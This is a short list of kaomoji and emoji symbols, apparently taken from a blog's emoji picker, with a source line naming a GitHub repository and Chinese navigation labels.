∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇